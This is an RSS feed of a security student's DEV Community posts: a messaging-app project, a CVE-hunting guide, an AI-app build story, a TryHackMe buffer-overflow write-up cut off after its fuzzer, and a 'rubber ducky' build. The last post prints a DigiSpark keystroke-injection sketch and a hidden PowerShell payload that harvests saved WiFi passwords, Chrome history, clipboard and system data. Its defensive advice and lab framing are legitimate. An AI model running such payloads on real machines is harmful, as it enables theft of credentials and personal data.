<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: KRRISH JAGBANDHU</title>
    <description>The latest articles on DEV Community by KRRISH JAGBANDHU (@krrish_jagbandhu_eca8db9d).</description>
    <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3854307%2F6e82656f-ac82-4bb5-9fdf-a45dcd6c0a8f.png</url>
      <title>DEV Community: KRRISH JAGBANDHU</title>
      <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.clauneck.workers.dev/feed/krrish_jagbandhu_eca8db9d"/>
    <language>en</language>
    <item>
      <title>I Built a Telegram-Inspired Messaging App Out of Boredom — Meet IGram</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Thu, 25 Jun 2026 00:24:13 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/i-built-a-telegram-inspired-messaging-app-out-of-boredom-meet-igram-1odh</link>
      <guid>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/i-built-a-telegram-inspired-messaging-app-out-of-boredom-meet-igram-1odh</guid>
      <description>&lt;p&gt;Sometimes, the best ideas come when you least expect them — like at 2 AM, scrolling through social media with nothing exciting to do. That’s exactly how IGram, my latest side project, came to life. No grand plans, no investors, no pressure — just a spark of curiosity and a desire to build something fun.&lt;/p&gt;

&lt;p&gt;In this post, I’ll share the story of how IGram started, what it is, the challenges I faced, and what I learned along the way. If you’ve ever wondered what it’s like to build a messaging app from scratch or are just curious about side projects, this one’s for you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HOW IT BEGAN&lt;/strong&gt;&lt;br&gt;
_**A few days ago, stuck in an endless social media scroll loop, I suddenly thought, “Why not build my own messaging app?” Not to compete with the giants like Telegram or WhatsApp, and certainly not because I had a startup idea or funding. Simply because I wanted to see how far I could take it.&lt;/p&gt;

&lt;p&gt;That spontaneous idea turned into IGram, a project born purely out of boredom and a hunger to learn.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What Is IGram?&lt;/strong&gt;&lt;br&gt;
IGram is a modern messaging app inspired by platforms like Telegram and Discord. But it’s not a clone. Instead, it’s designed to feel fast, smooth, and enjoyable—an experience I wanted to craft from the ground up.&lt;/p&gt;

&lt;p&gt;It’s my personal challenge and learning experiment, built solo and fueled by the excitement of creating something new.&lt;/p&gt;

&lt;p&gt;Features You’ll Find in IGram&lt;br&gt;
Even though it started as a simple idea, IGram has grown to include a solid set of features:&lt;/p&gt;

&lt;p&gt;One-to-one messaging&lt;br&gt;
Group conversations&lt;br&gt;
Channel support&lt;br&gt;
Message reactions, editing, and deletion&lt;br&gt;
Reply and message forwarding&lt;br&gt;
Search functionality&lt;br&gt;
Dark and light themes&lt;br&gt;
Responsive design and mobile-friendly layout&lt;br&gt;
User profiles and modern UI animations&lt;br&gt;
Every feature is designed to keep the app feeling smooth and responsive, because the user experience matters just as much as the functionality.&lt;/p&gt;

&lt;p&gt;The Biggest Challenge: User Experience&lt;br&gt;
Surprisingly, writing the code wasn’t the toughest part—it was designing how everything flows and feels. Modern messaging apps look simple, but beneath the surface, there’s a maze of small details to get right:&lt;/p&gt;

&lt;p&gt;Chat states and read receipts&lt;br&gt;
Message reactions and typing indicators&lt;br&gt;
Search interactions and responsive layouts&lt;br&gt;
Performance optimizations&lt;br&gt;
Each tiny feature adds layers of complexity, and balancing them all was a rewarding puzzle.&lt;/p&gt;

&lt;p&gt;Lessons Learned&lt;br&gt;
Building IGram didn’t just produce a cool app—it taught me some valuable lessons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;UI Matters More Than You Think&lt;br&gt;
A well-timed animation or transition can make the app feel polished and responsive, which users notice instantly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Messaging Apps Are Surprisingly Complex&lt;br&gt;
Even a basic chat app involves managing massive state and diverse user interactions behind the scenes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Side Projects Are Incredibly Powerful&lt;br&gt;
Nothing beats hands-on building when it comes to learning. Tutorials are great, but creating something yourself is where real growth happens.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What’s Next for IGram?&lt;br&gt;
Right now, IGram is still experimental. But I have big ideas for the future:&lt;/p&gt;

&lt;p&gt;Real-time messaging&lt;br&gt;
Voice messages and video calling&lt;br&gt;
End-to-end encryption&lt;br&gt;
Improved file sharing&lt;br&gt;
Better notification systems&lt;br&gt;
Progressive Web App support&lt;br&gt;
Whether I take IGram further or leave it as a fun experiment, it’s already been an amazing experience that sharpened my skills.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
IGram started with no roadmap, no funding, and no expectations—just boredom and curiosity. Sometimes, the best projects aren’t the ones meticulously planned, but the ones sparked by the simple desire to create.&lt;/p&gt;

&lt;p&gt;If you check out IGram and have any feedback or ideas, I’d love to hear from you. After all, sharing and improving together is what makes building even more rewarding.&lt;/p&gt;

&lt;p&gt;\&lt;br&gt;
i1gram.netlify.app&lt;br&gt;
go through it once everyone im really looking forward to get some suggestions&lt;/p&gt;

&lt;p&gt;Happy coding 🚀&lt;/p&gt;

</description>
      <category>hackathon</category>
      <category>ai</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I Built a $3 Rubber Ducky</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Thu, 25 Jun 2026 00:17:26 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/i-built-a-3-rubber-ducky-1nb</link>
      <guid>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/i-built-a-3-rubber-ducky-1nb</guid>
      <description>&lt;p&gt;If you've ever watched a hacker movie and seen someone plug in a USB and own a machine in seconds — that's not Hollywood magic. That's a Rubber Ducky. And I built one for under ₹150.&lt;br&gt;
Here's exactly how I did it, what it taught me, and why every security student should build one.&lt;/p&gt;

&lt;p&gt;What Even Is a Rubber Ducky?&lt;br&gt;
A Rubber Ducky is a USB device that pretends to be a keyboard. The moment you plug it in, the operating system trusts it completely — because keyboards don't need driver approvals or admin permissions.&lt;br&gt;
Once trusted, it starts "typing" pre-programmed commands at superhuman speed. We're talking 1000 keystrokes per second. By the time you blink, it's already opened PowerShell, run a script, and closed the window.&lt;br&gt;
The original Hak5 Rubber Ducky costs around $80. I built mine for ₹150.&lt;/p&gt;

&lt;p&gt;What I Used&lt;/p&gt;

&lt;p&gt;DigiSpark ATtiny85 — ₹120–150 on Amazon India&lt;br&gt;
Arduino IDE — free&lt;br&gt;
A Windows test machine (my own laptop)&lt;br&gt;
15 minutes&lt;/p&gt;

&lt;p&gt;That's it. No soldering. No special skills. Just a tiny microcontroller the size of a thumb.&lt;/p&gt;

&lt;p&gt;Setting It Up&lt;br&gt;
Step 1 — Install Arduino IDE&lt;br&gt;
Download from arduino.cc and install normally.&lt;br&gt;
Step 2 — Add DigiSpark Board Support&lt;br&gt;
Go to File → Preferences and paste this into Additional Board Manager URLs:&lt;br&gt;
&lt;a href="http://digistump.com/package_digistump_index.json" rel="noopener noreferrer"&gt;http://digistump.com/package_digistump_index.json&lt;/a&gt;&lt;br&gt;
Then go to Tools → Board → Board Manager, search Digistump and install.&lt;br&gt;
Step 3 — Install Drivers&lt;br&gt;
DigiSpark needs Micronucleus drivers on Windows. Download from the official Digistump GitHub and run the installer.&lt;br&gt;
Step 4 — Write Your First Payload&lt;br&gt;
This opens Notepad and types a message — my first ever "attack":&lt;br&gt;
cpp#include "DigiKeyboard.h"&lt;/p&gt;

&lt;p&gt;void setup() {&lt;br&gt;
  DigiKeyboard.delay(2000);&lt;br&gt;
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win+R&lt;br&gt;
  DigiKeyboard.delay(500);&lt;br&gt;
  DigiKeyboard.print("notepad");&lt;br&gt;
  DigiKeyboard.sendKeyStroke(KEY_ENTER);&lt;br&gt;
  DigiKeyboard.delay(1000);&lt;br&gt;
  DigiKeyboard.print("Hello. Your keyboard is now mine.");&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;void loop() {}&lt;br&gt;
Upload it, plug in the DigiSpark, and watch it type on its own. That moment hits different when you see it for the first time.&lt;/p&gt;

&lt;p&gt;Building the Recon Payload&lt;br&gt;
After the basics, I built a full recon payload for my own machine. The goal — simulate what an attacker could collect from a single physical access moment.&lt;br&gt;
Here's what it collects in under 10 seconds:&lt;br&gt;
WhatCommand UsedSystem info, OS, patchessysteminfoCurrent user + privilegeswhoami /allNetwork config + open portsipconfig, netstatSaved WiFi passwordsnetsh wlanRunning processesGet-ProcessInstalled softwareRegistry queryLocal users and adminsGet-LocalUserRecent files (Desktop, Docs, Downloads)Get-ChildItemChrome historyDirect file copyClipboard contentsGet-Clipboard&lt;br&gt;
The full PowerShell payload looks like this:&lt;br&gt;
powershell$out = "$env:TEMP\recon"&lt;br&gt;
New-Item -ItemType Directory -Force -Path $out | Out-Null&lt;/p&gt;

&lt;h1&gt;
  
  
  System info
&lt;/h1&gt;

&lt;p&gt;systeminfo &amp;gt; "$out\sysinfo.txt"&lt;br&gt;
whoami /all &amp;gt;&amp;gt; "$out\sysinfo.txt"&lt;/p&gt;

&lt;h1&gt;
  
  
  Network
&lt;/h1&gt;

&lt;p&gt;ipconfig /all &amp;gt; "$out\network.txt"&lt;br&gt;
netstat -ano &amp;gt;&amp;gt; "$out\network.txt"&lt;br&gt;
arp -a &amp;gt;&amp;gt; "$out\network.txt"&lt;/p&gt;

&lt;h1&gt;
  
  
  WiFi passwords
&lt;/h1&gt;

&lt;p&gt;(netsh wlan show profiles) | Select-String "All User Profile" | ForEach-Object {&lt;br&gt;
  $n = ($_ -split ":")[1].Trim()&lt;br&gt;
  $p = netsh wlan show profile name=$n key=clear&lt;br&gt;
  "$n : $(($p | Select-String 'Key Content').ToString().Split(':')[1].Trim())"&lt;br&gt;
} &amp;gt; "$out\wifi.txt"&lt;/p&gt;

&lt;h1&gt;
  
  
  Processes &amp;amp; software
&lt;/h1&gt;

&lt;p&gt;Get-Process | Select Name,Id,CPU | Export-Csv "$out\processes.csv" -NoTypeInformation&lt;br&gt;
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall* |&lt;br&gt;
  Select DisplayName,DisplayVersion | Export-Csv "$out\software.csv" -NoTypeInformation&lt;/p&gt;

&lt;h1&gt;
  
  
  Users
&lt;/h1&gt;

&lt;p&gt;Get-LocalUser &amp;gt; "$out\users.txt"&lt;br&gt;
Get-LocalGroupMember Administrators &amp;gt;&amp;gt; "$out\users.txt"&lt;/p&gt;

&lt;h1&gt;
  
  
  Recent files
&lt;/h1&gt;

&lt;p&gt;Get-ChildItem "$env:USERPROFILE\Documents","$env:USERPROFILE\Desktop","$env:USERPROFILE\Downloads" `&lt;br&gt;
  -Recurse -ErrorAction SilentlyContinue |&lt;br&gt;
  Select FullName,LastWriteTime | Export-Csv "$out\recentfiles.csv" -NoTypeInformation&lt;/p&gt;

&lt;h1&gt;
  
  
  Chrome history
&lt;/h1&gt;

&lt;p&gt;Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\History" "$out\chrome_history" -ErrorAction SilentlyContinue&lt;/p&gt;

&lt;h1&gt;
  
  
  Clipboard
&lt;/h1&gt;

&lt;p&gt;Get-Clipboard &amp;gt; "$out\clipboard.txt"&lt;br&gt;
Everything dumps into %TEMP%\recon. The PowerShell window runs completely hidden. No popups. No UAC prompt.&lt;/p&gt;

&lt;p&gt;The Scary Part&lt;br&gt;
This is what shook me most — it bypassed everything.&lt;/p&gt;

&lt;p&gt;✅ Windows Defender? Didn't flag it. It's just keyboard input.&lt;br&gt;
✅ Antivirus? Same. No file was "executed" in the traditional sense.&lt;br&gt;
✅ Firewall? Irrelevant for local collection.&lt;/p&gt;

&lt;p&gt;This is why physical security is not optional. Locking your screen when you step away is literally your last line of defence against this class of attack.&lt;/p&gt;

&lt;p&gt;What I Learned&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Trust is the vulnerability
The OS trusts HID devices unconditionally. That trust is the attack surface. No patch will fix this — it's by design.&lt;/li&gt;
&lt;li&gt;Speed matters
A payload that takes 30 seconds is risky. One that finishes in 8 seconds is devastating. Optimising payloads taught me a lot about how Windows executes commands.&lt;/li&gt;
&lt;li&gt;Physical access = game over
Every pentesting certification says this. Building this tool made me feel it. If someone gets 10 seconds with your unlocked machine, they own it.&lt;/li&gt;
&lt;li&gt;DuckyScript is a proper language
Writing payloads made me think like an attacker — delays, error handling, silent execution, exfiltration. It's low-level but it sharpens your mindset fast.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;How to Defend Against This&lt;br&gt;
Since I broke it, here's how to fix it:&lt;/p&gt;

&lt;p&gt;🔒 Lock your screen every time you step away — Win + L&lt;br&gt;
🚫 Disable USB ports via Group Policy on corporate machines&lt;br&gt;
🛡️ USBGuard on Linux — whitelists known devices only&lt;br&gt;
📡 EDR tools that monitor new HID device registration events&lt;br&gt;
🔌 Physical USB port blockers for high-security environments&lt;/p&gt;

&lt;p&gt;What's Next&lt;br&gt;
I'm upgrading to a Raspberry Pi Pico running Pico-Ducky firmware — supports full DuckyScript 3.0, faster execution, and can switch between attack and storage mode with a jumper wire.&lt;br&gt;
I'll also be writing a follow-up on building a defensive monitoring script that detects new HID devices registering and alerts you in real time.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
Building this tool cost me ₹150 and 15 minutes. The knowledge it gave me is worth more than any textbook chapter on physical security.&lt;br&gt;
If you're learning cybersecurity — build things. Don't just read about attacks. Simulate them on your own hardware, understand why they work, then figure out how to stop them.&lt;br&gt;
That's the hacker mindset.&lt;/p&gt;

</description>
      <category>hackathon</category>
      <category>ai</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>How I Found My First CVE as a College Student (And What Most Guides Don't Tell You)</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Sat, 18 Apr 2026 12:05:20 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/how-i-found-my-first-cve-as-a-college-student-and-what-most-guides-dont-tell-you-4h8h</link>
      <guid>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/how-i-found-my-first-cve-as-a-college-student-and-what-most-guides-dont-tell-you-4h8h</guid>
      <description>&lt;p&gt;Everyone talks about CVEs like they're some mythical achievement reserved for seasoned professionals with 10 years of experience and a hoodie covered in conference stickers.&lt;br&gt;
I'm a BCA student. I found five.&lt;br&gt;
This isn't a flex post. It's the guide I wish existed when I started — because most resources out there skip the parts that actually matter.&lt;/p&gt;

&lt;p&gt;Why I Started Bug Hunting&lt;br&gt;
I was deep into TryHackMe rooms and HackTheBox machines, grinding through CTFs at 2 AM, and somewhere in between I started asking myself: is any of this real?&lt;br&gt;
CTFs are fun. But they're controlled environments. Somebody built that box for you to break. The vulnerability is there, guaranteed. Real-world software doesn't come with that guarantee — but it also doesn't come with a scoreboard, a leaderboard, or a congratulations banner when you find something.&lt;br&gt;
What it comes with is a CVE ID with your name on it.&lt;br&gt;
That was enough motivation for me.&lt;/p&gt;

&lt;p&gt;The Target I Picked (And Why It Matters More Than Anything Else)&lt;br&gt;
Here's what no guide tells you clearly: your target selection determines everything.&lt;br&gt;
Most beginners go after massive companies — Google, Facebook, Apple. They read about million-dollar bug bounties and aim there first. That's like learning to drive and immediately entering Formula 1.&lt;br&gt;
My approach was different:&lt;/p&gt;

&lt;p&gt;Open-source software with a public repo — I could read the actual code, not just probe blindly&lt;br&gt;
Actively maintained but not a massive team — bugs slip through, patches take time&lt;br&gt;
Software I actually used — I understood the functionality deeply, which meant I noticed when something shouldn't work the way it did&lt;/p&gt;

&lt;p&gt;I started with smaller tools and libraries in the security and networking space. Stuff I was already using in my VAPT work. When you know how something is supposed to behave, anomalies scream at you.&lt;/p&gt;

&lt;p&gt;The Moment I Found the Vuln&lt;br&gt;
I'm not going to walk through the exact technical details of my first CVE here — that's a separate write-up. But I'll tell you what the moment felt like.&lt;br&gt;
It wasn't dramatic. There was no alarm, no flashing "YOU FOUND IT" screen.&lt;br&gt;
It was: wait... that shouldn't respond like that.&lt;br&gt;
I sent a request. The response was wrong in a very specific way. I sent it again with a modified input. The response got more wrong. I sat back and thought for maybe five minutes before I opened Burp Suite and started documenting methodically.&lt;br&gt;
The thing about real vulnerabilities is they feel like a quiet click — not an explosion. The adrenaline comes later, when you're writing the report and you realize what you're looking at.&lt;br&gt;
What helped me spot it:&lt;/p&gt;

&lt;p&gt;I had read the documentation and the source code&lt;br&gt;
I was testing edge cases, not just happy paths&lt;br&gt;
I kept notes on every weird behavior, even stuff that seemed minor&lt;br&gt;
I was patient — I'd been poking at this target for days, not hours&lt;/p&gt;

&lt;p&gt;The Reporting Process (The Part Nobody Romanticizes)&lt;br&gt;
This is where most write-ups end. "I found it, reported it, got the CVE."&lt;br&gt;
Here's what actually happens:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Write the report like your reputation depends on it — because it does.
Your report needs:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Clear description of the vulnerability&lt;br&gt;
Affected versions&lt;br&gt;
Step-by-step reproduction (assume the person reading has 10 other reports open)&lt;br&gt;
Impact assessment&lt;br&gt;
Suggested fix (optional but respected)&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Find the right contact.
Check for a SECURITY.md in the repo. Look for a security@ email. Check their responsible disclosure policy. If none of these exist, open a private GitHub issue or DM a maintainer directly. Do NOT open a public issue.&lt;/li&gt;
&lt;li&gt;Wait. Then wait more.
My first report sat for 3 weeks without a response. I sent a polite follow-up. Another week passed. Then I got a one-line reply: "Confirmed. Working on a patch."
That's it. No fanfare. Just confirmation that you weren't imagining things.&lt;/li&gt;
&lt;li&gt;Coordinate the disclosure.
Work with the maintainer on a timeline. Give them reasonable time to patch — typically 90 days is the industry standard. Don't rush them. Don't go public early. Responsible disclosure is called responsible for a reason.&lt;/li&gt;
&lt;li&gt;CVE assignment.
Once the patch is out, either the vendor or a CNA (CVE Numbering Authority) assigns the ID. Sometimes you request it yourself through MITRE. Either way, you end up with a number that lives on the internet forever.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What Changed After&lt;br&gt;
Practically speaking? A lot.&lt;/p&gt;

&lt;p&gt;My resume went from "student with certs" to "student with verified security research"&lt;br&gt;
I started getting responses from recruiters who previously ignored me&lt;br&gt;
My confidence in real-world testing went through the roof&lt;br&gt;
I found four more CVEs because the pattern recognition you build is transferable&lt;/p&gt;

&lt;p&gt;But the bigger thing was this: it shifted how I see software. Everything is a potential target now — not in a malicious way, but in a deeply curious way. Every feature is a decision someone made. Every decision has edge cases. Every edge case is worth poking.&lt;/p&gt;

&lt;p&gt;What I'd Tell My Past Self&lt;/p&gt;

&lt;p&gt;Start smaller than you think you should. Seriously. Small open-source tools. Niche libraries. Things with fewer eyes on them.&lt;br&gt;
Read the code. Black-box testing is fine but white-box gives you an unfair advantage.&lt;br&gt;
Document everything. Even the dead ends. You'll thank yourself later.&lt;br&gt;
Be patient with maintainers. They're usually volunteers or small teams. They're not ignoring you — they're busy.&lt;br&gt;
Rejection is fine. Not every report is a CVE. Some are "working as intended." Learn from those too.&lt;br&gt;
The first one is the hardest. After that, you have a framework in your head and the next one comes faster.&lt;/p&gt;

&lt;p&gt;Resources That Actually Helped Me&lt;/p&gt;

&lt;p&gt;HackTheBox &amp;amp; TryHackMe — for building the baseline&lt;br&gt;
PortSwigger Web Security Academy — free, brutal, excellent&lt;br&gt;
CVE Details (cve.mitre.org) — study what's been found before&lt;br&gt;
GitHub Code Search — your best friend for finding vulnerable patterns&lt;br&gt;
Nuclei templates — understand how automated scanning works, then go beyond it&lt;/p&gt;

&lt;p&gt;If you're a student sitting on this page wondering if someone like you can actually do this — yes. You can.&lt;br&gt;
You don't need a degree in computer science. You don't need a senior title. You need curiosity, patience, and the willingness to sit with a weird behavior until it tells you what it's hiding.&lt;br&gt;
The software is out there. Go find something.&lt;/p&gt;

&lt;p&gt;I'm Krish — BCA student, CEH certified, 5x CVE researcher, and active on HackTheBox/TryHackMe. I lead my university's cybersecurity club and do VAPT work.Find me at dev.to/krrish_jagbandhu_eca8db9dShare&lt;/p&gt;

</description>
      <category>security</category>
      <category>careerdevelopment</category>
      <category>beginners</category>
      <category>ai</category>
    </item>
    <item>
      <title>I Tried Building My Own AI… Here’s What Actually Happened</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Thu, 02 Apr 2026 22:14:57 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/i-tried-building-my-own-ai-heres-what-actually-happened-fn1</link>
      <guid>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/i-tried-building-my-own-ai-heres-what-actually-happened-fn1</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzm7j65lvpx9lp8exxa8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmzm7j65lvpx9lp8exxa8.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few days ago, I decided to stop just using AI and finally try building one myself.&lt;/p&gt;

&lt;p&gt;No full roadmap.&lt;br&gt;
No perfect plan.&lt;br&gt;
Just curiosity and the willingness to figure things out.&lt;/p&gt;

&lt;p&gt;What followed was a mix of confusion, frustration, small wins, and one big realization:&lt;/p&gt;

&lt;p&gt;Building AI is way harder—and way more rewarding—than it looks.&lt;/p&gt;

&lt;p&gt;💡 Why I Started&lt;/p&gt;

&lt;p&gt;I’ve been using AI tools for a while, like most developers. But at some point, I kept wondering:&lt;/p&gt;

&lt;p&gt;How do these models actually connect?&lt;br&gt;
What’s happening behind the API calls?&lt;br&gt;
Can I build something like this myself?&lt;/p&gt;

&lt;p&gt;Instead of watching another tutorial, I decided to just start building.&lt;/p&gt;

&lt;p&gt;⚙️ The Stack (What I Used)&lt;/p&gt;

&lt;p&gt;I kept things simple (or at least I tried to):&lt;/p&gt;

&lt;p&gt;AI Models via API (LLMs)&lt;br&gt;
A basic frontend interface&lt;br&gt;
Deployment on a cloud platform (like Vercel)&lt;br&gt;
Lots of trial and error 😅&lt;/p&gt;

&lt;p&gt;Nothing fancy—but enough to build something real.&lt;/p&gt;

&lt;p&gt;😵 The Problems I Faced&lt;/p&gt;

&lt;p&gt;Let’s be honest: things broke. A lot.&lt;/p&gt;

&lt;p&gt;Some of the errors I ran into:&lt;/p&gt;

&lt;p&gt;API Error: No endpoints found for openchat/openchat&lt;br&gt;
API Error: No endpoints found for mistralai/mistral-7b-instruct&lt;br&gt;
API Error: No endpoints found for google/gemma-7b-it&lt;/p&gt;

&lt;p&gt;At first, I thought I messed up everything.&lt;/p&gt;

&lt;p&gt;Turns out:&lt;/p&gt;

&lt;p&gt;Some models weren’t available&lt;br&gt;
Some endpoints were incorrect&lt;br&gt;
Some configs were just… wrong&lt;/p&gt;

&lt;p&gt;This is the part no one talks about enough.&lt;/p&gt;

&lt;p&gt;🧠 What I Learned (The Real Stuff)&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Not All Models Are Plug-and-Play&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Just because a model exists doesn’t mean you can use it instantly.&lt;br&gt;
You need:&lt;/p&gt;

&lt;p&gt;Valid endpoints&lt;br&gt;
Proper API providers&lt;br&gt;
Correct configurations&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Debugging Is the Real Skill&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Most of my time wasn’t spent building—it was spent fixing.&lt;/p&gt;

&lt;p&gt;And that’s where the real learning happened.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Deployment Is a Different Game&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Running something locally is easy.&lt;/p&gt;

&lt;p&gt;Deploying it?&lt;br&gt;
That’s where things get real:&lt;/p&gt;

&lt;p&gt;Environment variables&lt;br&gt;
API keys&lt;br&gt;
Build errors&lt;br&gt;
Runtime issues&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You Don’t Need to Know Everything&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I didn’t fully understand everything when I started.&lt;/p&gt;

&lt;p&gt;And that’s okay.&lt;/p&gt;

&lt;p&gt;You figure things out as you go.&lt;/p&gt;

&lt;p&gt;🚀 The Result&lt;/p&gt;

&lt;p&gt;After all the chaos, I finally had:&lt;/p&gt;

&lt;p&gt;A working AI app&lt;br&gt;
Live deployment&lt;br&gt;
Real responses from the model&lt;/p&gt;

&lt;p&gt;It wasn’t perfect—but it worked.&lt;/p&gt;

&lt;p&gt;And honestly, that’s enough for version 1.&lt;/p&gt;

&lt;p&gt;🔥 If You’re Thinking of Building AI…&lt;/p&gt;

&lt;p&gt;Here’s my advice:&lt;/p&gt;

&lt;p&gt;Start before you feel ready&lt;br&gt;
Expect things to break&lt;br&gt;
Don’t trust every tutorial blindly&lt;br&gt;
Learn by doing, not just watching&lt;br&gt;
💬 Final Thoughts&lt;/p&gt;

&lt;p&gt;This wasn’t just about building AI.&lt;/p&gt;

&lt;p&gt;It was about:&lt;/p&gt;

&lt;p&gt;Learning how systems actually work&lt;br&gt;
Dealing with failure&lt;br&gt;
Staying consistent when things don’t make sense&lt;/p&gt;

&lt;p&gt;And most importantly:&lt;/p&gt;

&lt;p&gt;Real growth happens when you stop consuming and start creating.&lt;/p&gt;

&lt;p&gt;If you’re building something similar or stuck somewhere, feel free to reach out—always happy to connect with fellow devs 👨‍💻&lt;/p&gt;

&lt;h1&gt;
  
  
  dev #ai #webdev #buildinpublic #learning #vercel
&lt;/h1&gt;

</description>
      <category>vercel</category>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
    </item>
    <item>
      <title>TryHackMe — Brainstorm Write-up | Buffer Overflow on Windows</title>
      <dc:creator>KRRISH JAGBANDHU</dc:creator>
      <pubDate>Tue, 31 Mar 2026 22:58:58 +0000</pubDate>
      <link>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/tryhackme-brainstorm-write-up-buffer-overflow-on-windows-idf</link>
      <guid>https://dev.clauneck.workers.dev/krrish_jagbandhu_eca8db9d/tryhackme-brainstorm-write-up-buffer-overflow-on-windows-idf</guid>
      <description>&lt;p&gt;The Beginning — First Look&lt;/p&gt;

&lt;p&gt;It was one of those evenings where I wanted a real challenge. I'd been breezing through Medium rooms and decided it was time to sit with something uncomfortable. Brainstorm had been on my list for a while — a Hard-rated Windows box, notorious for its buffer overflow challenge. I spun up my AttackBox, took a sip of coffee, and started the machine.&lt;br&gt;
First thing I always do — let Nmap do the talking.&lt;br&gt;
bashnmap -sC -sV -oN brainstorm.txt &lt;br&gt;
The scan came back with something interesting:&lt;/p&gt;

&lt;p&gt;Port 21 — FTP (Anonymous login allowed!)&lt;br&gt;
Port 9999 — Some kind of custom chat application&lt;br&gt;
Port 3389 — RDP (Windows, as expected)&lt;/p&gt;

&lt;p&gt;Anonymous FTP? That's always a gift. I logged in immediately.&lt;br&gt;
bashftp &lt;br&gt;
Inside, I found two files — chatserver.exe and essfunc.dll. I downloaded both without hesitation. This was the application running on port 9999. The devs had essentially handed me their app to reverse and exploit locally. Rookie mistake on their part, huge win for me.&lt;/p&gt;

&lt;p&gt;The Middle — Down the Rabbit Hole&lt;br&gt;
I connected to the chat server on port 9999 using Netcat just to see what I was dealing with.&lt;br&gt;
bashnc  9999&lt;br&gt;
A chat prompt appeared asking for a username and then a message. Simple enough on the surface. But something about an unvalidated message input on a Windows service whispered buffer overflow to me.&lt;br&gt;
I set up the chatserver.exe locally on a Windows VM with Immunity Debugger and Mona.py attached. Then the real fun began.&lt;br&gt;
Step 1 — Fuzzing. I wrote a quick Python fuzzer to throw increasingly large strings at the message input:&lt;br&gt;
pythonimport socket, time, sys&lt;/p&gt;

&lt;p&gt;ip = "YOUR_LOCAL_IP"&lt;br&gt;
port = 9999&lt;br&gt;
buffer = "A" * 100&lt;/p&gt;

&lt;p&gt;while True:&lt;br&gt;
    try:&lt;br&gt;
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br&gt;
        s.connect((ip, port))&lt;br&gt;
        s.recv(1024)&lt;br&gt;
        s.send(b"user\r\n")&lt;br&gt;
        s.recv(1024)&lt;br&gt;
        s.send(bytes(buffer + "\r\n", "latin-1"))&lt;br&gt;
        s.close()&lt;br&gt;
        time.sleep(1)&lt;br&gt;
        buffer += "A" * 100&lt;br&gt;
    except:&lt;br&gt;
        print(f"Crashed at {len(buffer)} bytes")&lt;br&gt;
        sys.exit()&lt;/p&gt;

